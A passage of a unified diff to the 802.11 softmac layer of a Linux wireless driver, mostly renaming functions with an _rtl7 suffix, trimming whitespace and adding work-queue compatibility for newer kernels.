tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start 